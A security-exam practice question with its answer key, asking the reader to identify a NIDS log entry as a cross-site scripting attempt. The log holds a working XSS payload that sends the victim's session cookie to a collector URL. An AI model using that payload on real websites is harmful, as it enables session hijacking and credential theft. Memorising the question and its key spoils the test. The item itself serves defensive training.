A network security analyst reviews a SIEM alert containing the following NIDS log entry captured from an internal network monitoring sensor:
[2026-07-27 11:42:19 UTC] NIDS_ALERT
Sensor: NIDS-VPC-EAST-01
Protocol: HTTP/1.1
Src_IP: 10.10.4.88:51204
Dst_IP: 172.16.50.12:80
Request: GET /portal/search.php?q=<script>document.location='http://192.168.1.50/collector.php?cookie='+document.cookie;</script> HTTP/1.1
Action: Flagged (Alert Only)
Which of the following best describes the type of attack captured in this log snippet and its intended objective?
- The alert indicates a Cross-Site Scripting (XSS) attack attempting to execute malicious script code in the victim's browser to exfiltrate session cookies.Answer
- BThe alert indicates a SQL injection attack attempting to bypass database authentication and extract backend relational data.
- CThe threat should be remediated primarily by configuring a layer-3 network firewall rule to prevent host-based kernel memory buffer overflows.
- DThe log entry demonstrates a failure of an active inline honeypot system to automatically drop packet payloads before reaching the web server.
Answer
The alert indicates a Cross-Site Scripting (XSS) attack attempting to execute malicious script code in the victim's browser to exfiltrate session cookies.
The correct answer identifies the HTTP parameter containing `<script>` tags as a Cross-Site Scripting (XSS) attempt. The payload attempts to read the victim browser's `document.cookie` object and transmit it to an external IP address, which is a classic indicator of an XSS session hijacking attack.
Step-by-Step Solution
Key Concept
Identifying Cross-Site Scripting (XSS) payloads in NIDS/SIEM log telemetry
Estimated Time:1m 30s